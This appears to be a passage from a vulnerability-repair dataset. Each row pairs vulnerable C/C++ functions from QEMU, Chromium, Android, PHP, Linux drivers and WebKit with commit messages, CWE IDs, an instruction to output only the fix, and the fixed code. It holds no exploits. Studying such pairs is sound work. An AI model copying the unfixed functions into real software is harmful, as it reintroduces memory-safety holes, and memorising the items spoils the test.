int here[3], upper[3], left[3], upperleft[3];
int prediction;
int x, y, c;
buf32 = (uint32_t *)buf;
memset(vs->tight.gradient.buffer, 0, w * 3 * sizeof(int));
if ((vs->clientds.flags & QEMU_BIG_ENDIAN_FLAG) ==
(vs->ds->surface->flags & QEMU_BIG_ENDIAN_FLAG)) {
shift[0] = vs->clientds.pf.rshift;
shift[1] = vs->clientds.pf.gshift;
shift[2] = vs->clientds.pf.bshift;
} else {
shift[0] = 24 - vs->clientds.pf.rshift;
shift[1] = 24 - vs->clientds.pf.gshift;
shift[2] = 24 - vs->clientds.pf.bshift;
}
for (y = 0; y < h; y++) {
for (c = 0; c < 3; c++) {
upper[c] = 0;
here[c] = 0;
}
prev = (int *)vs->tight.gradient.buffer;
for (x = 0; x < w; x++) {
pix32 = *buf32++;
for (c = 0; c < 3; c++) {
upperleft[c] = upper[c];
left[c] = here[c];
upper[c] = *prev;
here[c] = (int)(pix32 >> shift[c] & 0xFF);
*prev++ = here[c];
prediction = left[c] + upper[c] - upperleft[c];
if (prediction < 0) {
prediction = 0;
} else if (prediction > 0xFF) {
prediction = 0xFF;
}
*buf++ = (char)(here[c] - prediction);
}
}
}
}
Commit Message:
CWE ID: CWE-125 | tight_filter_gradient24(VncState *vs, uint8_t *buf, int w, int h)
{
uint32_t *buf32;
uint32_t pix32;
int shift[3];
int *prev;
int here[3], upper[3], left[3], upperleft[3];
int prediction;
int x, y, c;
buf32 = (uint32_t *)buf;
memset(vs->tight.gradient.buffer, 0, w * 3 * sizeof(int));
if (1 /* FIXME: (vs->clientds.flags & QEMU_BIG_ENDIAN_FLAG) ==
(vs->ds->surface->flags & QEMU_BIG_ENDIAN_FLAG) */) {
shift[0] = vs->client_pf.rshift;
shift[1] = vs->client_pf.gshift;
shift[2] = vs->client_pf.bshift;
} else {
shift[0] = 24 - vs->client_pf.rshift;
shift[1] = 24 - vs->client_pf.gshift;
shift[2] = 24 - vs->client_pf.bshift;
}
for (y = 0; y < h; y++) {
for (c = 0; c < 3; c++) {
upper[c] = 0;
here[c] = 0;
}
prev = (int *)vs->tight.gradient.buffer;
for (x = 0; x < w; x++) {
pix32 = *buf32++;
for (c = 0; c < 3; c++) {
upperleft[c] = upper[c];
left[c] = here[c];
upper[c] = *prev;
here[c] = (int)(pix32 >> shift[c] & 0xFF);
*prev++ = here[c];
prediction = left[c] + upper[c] - upperleft[c];
if (prediction < 0) {
prediction = 0;
} else if (prediction > 0xFF) {
prediction = 0xFF;
}
*buf++ = (char)(here[c] - prediction);
}
}
}
}
| 165,467 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void HTMLMediaElement::MediaLoadingFailed(WebMediaPlayer::NetworkState error,
const String& message) {
BLINK_MEDIA_LOG << "MediaLoadingFailed(" << (void*)this << ", "
<< static_cast<int>(error) << ", message='" << message
<< "')";
StopPeriodicTimers();
if (ready_state_ < kHaveMetadata &&
load_state_ == kLoadingFromSourceElement) {
if (current_source_node_) {
current_source_node_->ScheduleErrorEvent();
} else {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - error event not sent, <source> was removed";
}
ForgetResourceSpecificTracks();
if (HavePotentialSourceChild()) {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - scheduling next <source>";
ScheduleNextSourceChild();
} else {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - no more <source> elements, waiting";
WaitForSourceChange();
}
return;
}
if (error == WebMediaPlayer::kNetworkStateNetworkError &&
ready_state_ >= kHaveMetadata) {
MediaEngineError(MediaError::Create(MediaError::kMediaErrNetwork, message));
} else if (error == WebMediaPlayer::kNetworkStateDecodeError) {
MediaEngineError(MediaError::Create(MediaError::kMediaErrDecode, message));
} else if ((error == WebMediaPlayer::kNetworkStateFormatError ||
error == WebMediaPlayer::kNetworkStateNetworkError) &&
load_state_ == kLoadingFromSrcAttr) {
if (message.IsEmpty()) {
NoneSupported(BuildElementErrorMessage(
error == WebMediaPlayer::kNetworkStateFormatError ? "Format error"
: "Network error"));
} else {
NoneSupported(message);
}
}
UpdateDisplayState();
}
Commit Message: defeat cors attacks on audio/video tags
Neutralize error messages and fire no progress events
until media metadata has been loaded for media loaded
from cross-origin locations.
Bug: 828265, 826187
Change-Id: Iaf15ef38676403687d6a913cbdc84f2d70a6f5c6
Reviewed-on: https://chromium-review.googlesource.com/1015794
Reviewed-by: Mounir Lamouri <[email protected]>
Reviewed-by: Dale Curtis <[email protected]>
Commit-Queue: Fredrik Hubinette <[email protected]>
Cr-Commit-Position: refs/heads/master@{#557312}
CWE ID: CWE-200 | void HTMLMediaElement::MediaLoadingFailed(WebMediaPlayer::NetworkState error,
const String& input_message) {
BLINK_MEDIA_LOG << "MediaLoadingFailed(" << (void*)this << ", "
<< static_cast<int>(error) << ", message='" << input_message
<< "')";
bool should_be_opaque = MediaShouldBeOpaque();
if (should_be_opaque)
error = WebMediaPlayer::kNetworkStateNetworkError;
String empty_string;
const String& message = should_be_opaque ? empty_string : input_message;
StopPeriodicTimers();
if (ready_state_ < kHaveMetadata &&
load_state_ == kLoadingFromSourceElement) {
if (current_source_node_) {
current_source_node_->ScheduleErrorEvent();
} else {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - error event not sent, <source> was removed";
}
ForgetResourceSpecificTracks();
if (HavePotentialSourceChild()) {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - scheduling next <source>";
ScheduleNextSourceChild();
} else {
BLINK_MEDIA_LOG << "mediaLoadingFailed(" << (void*)this
<< ") - no more <source> elements, waiting";
WaitForSourceChange();
}
return;
}
if (error == WebMediaPlayer::kNetworkStateNetworkError &&
ready_state_ >= kHaveMetadata) {
MediaEngineError(MediaError::Create(MediaError::kMediaErrNetwork, message));
} else if (error == WebMediaPlayer::kNetworkStateDecodeError) {
MediaEngineError(MediaError::Create(MediaError::kMediaErrDecode, message));
} else if ((error == WebMediaPlayer::kNetworkStateFormatError ||
error == WebMediaPlayer::kNetworkStateNetworkError) &&
load_state_ == kLoadingFromSrcAttr) {
if (message.IsEmpty()) {
NoneSupported(BuildElementErrorMessage(
error == WebMediaPlayer::kNetworkStateFormatError ? "Format error"
: "Network error"));
} else {
NoneSupported(message);
}
}
UpdateDisplayState();
}
| 173,162 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
if (nRanges == 0) {
mMaxVal = 0;
mIndices.reset();
mBitmaps.reset();
return;
}
mMaxVal = ranges[nRanges * 2 - 1];
size_t indexSize = (mMaxVal + kPageMask) >> kLogValuesPerPage;
mIndices.reset(new uint32_t[indexSize]);
uint32_t nPages = calcNumPages(ranges, nRanges);
mBitmaps.reset(new element[nPages << (kLogValuesPerPage - kLogBitsPerEl)]);
memset(mBitmaps.get(), 0, nPages << (kLogValuesPerPage - 3));
mZeroPageIndex = noZeroPage;
uint32_t nonzeroPageEnd = 0;
uint32_t currentPage = 0;
for (size_t i = 0; i < nRanges; i++) {
uint32_t start = ranges[i * 2];
uint32_t end = ranges[i * 2 + 1];
uint32_t startPage = start >> kLogValuesPerPage;
uint32_t endPage = (end - 1) >> kLogValuesPerPage;
if (startPage >= nonzeroPageEnd) {
if (startPage > nonzeroPageEnd) {
if (mZeroPageIndex == noZeroPage) {
mZeroPageIndex = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
for (uint32_t j = nonzeroPageEnd; j < startPage; j++) {
mIndices[j] = mZeroPageIndex;
}
}
mIndices[startPage] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl);
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) {
mBitmaps[index + j] = kElAllOnes;
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
for (size_t j = startPage + 1; j < endPage + 1; j++) {
mIndices[j] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
nonzeroPageEnd = endPage + 1;
}
}
Commit Message: Reject fonts with invalid ranges in cmap
A corrupt or malicious font may have a negative size in its cmap
range, which in turn could lead to memory corruption. This patch
detects the case and rejects the font, and also includes an assertion
in the sparse bit set implementation if we missed any such case.
External issue:
https://code.google.com/p/android/issues/detail?id=192618
Bug: 26413177
Change-Id: Icc0c80e4ef389abba0964495b89aa0fae3e9f4b2
CWE ID: CWE-20 | void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
if (nRanges == 0) {
mMaxVal = 0;
mIndices.reset();
mBitmaps.reset();
return;
}
mMaxVal = ranges[nRanges * 2 - 1];
size_t indexSize = (mMaxVal + kPageMask) >> kLogValuesPerPage;
mIndices.reset(new uint32_t[indexSize]);
uint32_t nPages = calcNumPages(ranges, nRanges);
mBitmaps.reset(new element[nPages << (kLogValuesPerPage - kLogBitsPerEl)]);
memset(mBitmaps.get(), 0, nPages << (kLogValuesPerPage - 3));
mZeroPageIndex = noZeroPage;
uint32_t nonzeroPageEnd = 0;
uint32_t currentPage = 0;
for (size_t i = 0; i < nRanges; i++) {
uint32_t start = ranges[i * 2];
uint32_t end = ranges[i * 2 + 1];
LOG_ALWAYS_FATAL_IF(end < start); // make sure range size is nonnegative
uint32_t startPage = start >> kLogValuesPerPage;
uint32_t endPage = (end - 1) >> kLogValuesPerPage;
if (startPage >= nonzeroPageEnd) {
if (startPage > nonzeroPageEnd) {
if (mZeroPageIndex == noZeroPage) {
mZeroPageIndex = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
for (uint32_t j = nonzeroPageEnd; j < startPage; j++) {
mIndices[j] = mZeroPageIndex;
}
}
mIndices[startPage] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl);
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) {
mBitmaps[index + j] = kElAllOnes;
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
for (size_t j = startPage + 1; j < endPage + 1; j++) {
mIndices[j] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
nonzeroPageEnd = endPage + 1;
}
}
| 174,236 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static zend_object_value spl_filesystem_object_clone(zval *zobject TSRMLS_DC)
{
zend_object_value new_obj_val;
zend_object *old_object;
zend_object *new_object;
zend_object_handle handle = Z_OBJ_HANDLE_P(zobject);
spl_filesystem_object *intern;
spl_filesystem_object *source;
int index, skip_dots;
old_object = zend_objects_get_address(zobject TSRMLS_CC);
source = (spl_filesystem_object*)old_object;
new_obj_val = spl_filesystem_object_new_ex(old_object->ce, &intern TSRMLS_CC);
new_object = &intern->std;
intern->flags = source->flags;
switch (source->type) {
case SPL_FS_INFO:
intern->_path_len = source->_path_len;
intern->_path = estrndup(source->_path, source->_path_len);
intern->file_name_len = source->file_name_len;
intern->file_name = estrndup(source->file_name, intern->file_name_len);
break;
case SPL_FS_DIR:
spl_filesystem_dir_open(intern, source->_path TSRMLS_CC);
/* read until we hit the position in which we were before */
skip_dots = SPL_HAS_FLAG(source->flags, SPL_FILE_DIR_SKIPDOTS);
for(index = 0; index < source->u.dir.index; ++index) {
do {
spl_filesystem_dir_read(intern TSRMLS_CC);
} while (skip_dots && spl_filesystem_is_dot(intern->u.dir.entry.d_name));
}
intern->u.dir.index = index;
break;
case SPL_FS_FILE:
php_error_docref(NULL TSRMLS_CC, E_ERROR, "An object of class %s cannot be cloned", old_object->ce->name);
break;
}
intern->file_class = source->file_class;
intern->info_class = source->info_class;
intern->oth = source->oth;
intern->oth_handler = source->oth_handler;
zend_objects_clone_members(new_object, new_obj_val, old_object, handle TSRMLS_CC);
if (intern->oth_handler && intern->oth_handler->clone) {
intern->oth_handler->clone(source, intern TSRMLS_CC);
}
return new_obj_val;
}
Commit Message: Fix bug #72262 - do not overflow int
CWE ID: CWE-190 | static zend_object_value spl_filesystem_object_clone(zval *zobject TSRMLS_DC)
{
zend_object_value new_obj_val;
zend_object *old_object;
zend_object *new_object;
zend_object_handle handle = Z_OBJ_HANDLE_P(zobject);
spl_filesystem_object *intern;
spl_filesystem_object *source;
int index, skip_dots;
old_object = zend_objects_get_address(zobject TSRMLS_CC);
source = (spl_filesystem_object*)old_object;
new_obj_val = spl_filesystem_object_new_ex(old_object->ce, &intern TSRMLS_CC);
new_object = &intern->std;
intern->flags = source->flags;
switch (source->type) {
case SPL_FS_INFO:
intern->_path_len = source->_path_len;
intern->_path = estrndup(source->_path, source->_path_len);
intern->file_name_len = source->file_name_len;
intern->file_name = estrndup(source->file_name, intern->file_name_len);
break;
case SPL_FS_DIR:
spl_filesystem_dir_open(intern, source->_path TSRMLS_CC);
/* read until we hit the position in which we were before */
skip_dots = SPL_HAS_FLAG(source->flags, SPL_FILE_DIR_SKIPDOTS);
for(index = 0; index < source->u.dir.index; ++index) {
do {
spl_filesystem_dir_read(intern TSRMLS_CC);
} while (skip_dots && spl_filesystem_is_dot(intern->u.dir.entry.d_name));
}
intern->u.dir.index = index;
break;
case SPL_FS_FILE:
php_error_docref(NULL TSRMLS_CC, E_ERROR, "An object of class %s cannot be cloned", old_object->ce->name);
break;
}
intern->file_class = source->file_class;
intern->info_class = source->info_class;
intern->oth = source->oth;
intern->oth_handler = source->oth_handler;
zend_objects_clone_members(new_object, new_obj_val, old_object, handle TSRMLS_CC);
if (intern->oth_handler && intern->oth_handler->clone) {
intern->oth_handler->clone(source, intern TSRMLS_CC);
}
return new_obj_val;
}
| 167,080 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static __u8 *cp_report_fixup(struct hid_device *hdev, __u8 *rdesc,
unsigned int *rsize)
{
unsigned long quirks = (unsigned long)hid_get_drvdata(hdev);
unsigned int i;
if (!(quirks & CP_RDESC_SWAPPED_MIN_MAX))
return rdesc;
for (i = 0; i < *rsize - 4; i++)
if (rdesc[i] == 0x29 && rdesc[i + 2] == 0x19) {
rdesc[i] = 0x19;
rdesc[i + 2] = 0x29;
swap(rdesc[i + 3], rdesc[i + 1]);
}
return rdesc;
}
Commit Message: HID: hid-cypress: validate length of report
Make sure we have enough of a report structure to validate before
looking at it.
Reported-by: Benoit Camredon <[email protected]>
Tested-by: Benoit Camredon <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
Signed-off-by: Jiri Kosina <[email protected]>
CWE ID: | static __u8 *cp_report_fixup(struct hid_device *hdev, __u8 *rdesc,
unsigned int *rsize)
{
unsigned long quirks = (unsigned long)hid_get_drvdata(hdev);
unsigned int i;
if (!(quirks & CP_RDESC_SWAPPED_MIN_MAX))
return rdesc;
if (*rsize < 4)
return rdesc;
for (i = 0; i < *rsize - 4; i++)
if (rdesc[i] == 0x29 && rdesc[i + 2] == 0x19) {
rdesc[i] = 0x19;
rdesc[i + 2] = 0x29;
swap(rdesc[i + 3], rdesc[i + 1]);
}
return rdesc;
}
| 168,288 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: v8::Handle<v8::Value> V8Intent::constructorCallback(const v8::Arguments& args)
{
INC_STATS("DOM.Intent.Constructor");
if (!args.IsConstructCall())
return V8Proxy::throwTypeError("DOM object constructor cannot be called as a function.");
if (ConstructorMode::current() == ConstructorMode::WrapExistingObject)
return args.Holder();
if (args.Length() < 1)
return V8Proxy::throwNotEnoughArgumentsError();
if (args.Length() == 1) {
EXCEPTION_BLOCK(Dictionary, options, args[0]);
ExceptionCode ec = 0;
RefPtr<Intent> impl = Intent::create(ScriptState::current(), options, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
ExceptionCode ec = 0;
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, action, MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined));
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, type, MAYBE_MISSING_PARAMETER(args, 1, DefaultIsUndefined));
MessagePortArray messagePortArrayTransferList;
ArrayBufferArray arrayBufferArrayTransferList;
if (args.Length() > 3) {
if (!extractTransferables(args[3], messagePortArrayTransferList, arrayBufferArrayTransferList))
return V8Proxy::throwTypeError("Could not extract transferables");
}
bool dataDidThrow = false;
RefPtr<SerializedScriptValue> data = SerializedScriptValue::create(args[2], &messagePortArrayTransferList, &arrayBufferArrayTransferList, dataDidThrow);
if (dataDidThrow)
return throwError(DATA_CLONE_ERR, args.GetIsolate());
RefPtr<Intent> impl = Intent::create(action, type, data, messagePortArrayTransferList, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | v8::Handle<v8::Value> V8Intent::constructorCallback(const v8::Arguments& args)
{
INC_STATS("DOM.Intent.Constructor");
if (!args.IsConstructCall())
return V8Proxy::throwTypeError("DOM object constructor cannot be called as a function.");
if (ConstructorMode::current() == ConstructorMode::WrapExistingObject)
return args.Holder();
if (args.Length() < 1)
return V8Proxy::throwNotEnoughArgumentsError(args.GetIsolate());
if (args.Length() == 1) {
EXCEPTION_BLOCK(Dictionary, options, args[0]);
ExceptionCode ec = 0;
RefPtr<Intent> impl = Intent::create(ScriptState::current(), options, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
ExceptionCode ec = 0;
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, action, MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined));
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, type, MAYBE_MISSING_PARAMETER(args, 1, DefaultIsUndefined));
MessagePortArray messagePortArrayTransferList;
ArrayBufferArray arrayBufferArrayTransferList;
if (args.Length() > 3) {
if (!extractTransferables(args[3], messagePortArrayTransferList, arrayBufferArrayTransferList))
return V8Proxy::throwTypeError("Could not extract transferables");
}
bool dataDidThrow = false;
RefPtr<SerializedScriptValue> data = SerializedScriptValue::create(args[2], &messagePortArrayTransferList, &arrayBufferArrayTransferList, dataDidThrow);
if (dataDidThrow)
return throwError(DATA_CLONE_ERR, args.GetIsolate());
RefPtr<Intent> impl = Intent::create(action, type, data, messagePortArrayTransferList, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
| 171,118 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static bool ExecuteTranspose(LocalFrame& frame,
Event*,
EditorCommandSource,
const String&) {
frame.GetEditor().Transpose();
return true;
}
Commit Message: Move Editor::Transpose() out of Editor class
This patch moves |Editor::Transpose()| out of |Editor| class as preparation of
expanding it into |ExecutTranspose()| in "EditorCommand.cpp" to make |Editor|
class simpler for improving code health.
Following patch will expand |Transpose()| into |ExecutTranspose()|.
Bug: 672405
Change-Id: Icde253623f31813d2b4517c4da7d4798bd5fadf6
Reviewed-on: https://chromium-review.googlesource.com/583880
Reviewed-by: Xiaocheng Hu <[email protected]>
Commit-Queue: Yoshifumi Inoue <[email protected]>
Cr-Commit-Position: refs/heads/master@{#489518}
CWE ID: | static bool ExecuteTranspose(LocalFrame& frame,
Event*,
EditorCommandSource,
const String&) {
Transpose(frame);
return true;
}
| 172,012 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int iwl_process_add_sta_resp(struct iwl_priv *priv,
struct iwl_addsta_cmd *addsta,
struct iwl_rx_packet *pkt)
{
u8 sta_id = addsta->sta.sta_id;
unsigned long flags;
int ret = -EIO;
if (pkt->hdr.flags & IWL_CMD_FAILED_MSK) {
IWL_ERR(priv, "Bad return from REPLY_ADD_STA (0x%08X)\n",
pkt->hdr.flags);
return ret;
}
IWL_DEBUG_INFO(priv, "Processing response for adding station %u\n",
sta_id);
spin_lock_irqsave(&priv->shrd->sta_lock, flags);
switch (pkt->u.add_sta.status) {
case ADD_STA_SUCCESS_MSK:
IWL_DEBUG_INFO(priv, "REPLY_ADD_STA PASSED\n");
iwl_sta_ucode_activate(priv, sta_id);
ret = 0;
break;
case ADD_STA_NO_ROOM_IN_TABLE:
IWL_ERR(priv, "Adding station %d failed, no room in table.\n",
sta_id);
break;
case ADD_STA_NO_BLOCK_ACK_RESOURCE:
IWL_ERR(priv, "Adding station %d failed, no block ack "
"resource.\n", sta_id);
break;
case ADD_STA_MODIFY_NON_EXIST_STA:
IWL_ERR(priv, "Attempting to modify non-existing station %d\n",
sta_id);
break;
default:
IWL_DEBUG_ASSOC(priv, "Received REPLY_ADD_STA:(0x%08X)\n",
pkt->u.add_sta.status);
break;
}
IWL_DEBUG_INFO(priv, "%s station id %u addr %pM\n",
priv->stations[sta_id].sta.mode ==
STA_CONTROL_MODIFY_MSK ? "Modified" : "Added",
sta_id, priv->stations[sta_id].sta.sta.addr);
/*
* XXX: The MAC address in the command buffer is often changed from
* the original sent to the device. That is, the MAC address
* written to the command buffer often is not the same MAC address
* read from the command buffer when the command returns. This
* issue has not yet been resolved and this debugging is left to
* observe the problem.
*/
IWL_DEBUG_INFO(priv, "%s station according to cmd buffer %pM\n",
priv->stations[sta_id].sta.mode ==
STA_CONTROL_MODIFY_MSK ? "Modified" : "Added",
addsta->sta.addr);
spin_unlock_irqrestore(&priv->shrd->sta_lock, flags);
return ret;
}
Commit Message: iwlwifi: Sanity check for sta_id
On my testing, I saw some strange behavior
[ 421.739708] iwlwifi 0000:01:00.0: ACTIVATE a non DRIVER active station id 148 addr 00:00:00:00:00:00
[ 421.739719] iwlwifi 0000:01:00.0: iwl_sta_ucode_activate Added STA id 148 addr 00:00:00:00:00:00 to uCode
not sure how it happen, but adding the sanity check to prevent memory
corruption
Signed-off-by: Wey-Yi Guy <[email protected]>
Signed-off-by: John W. Linville <[email protected]>
CWE ID: CWE-119 | static int iwl_process_add_sta_resp(struct iwl_priv *priv,
struct iwl_addsta_cmd *addsta,
struct iwl_rx_packet *pkt)
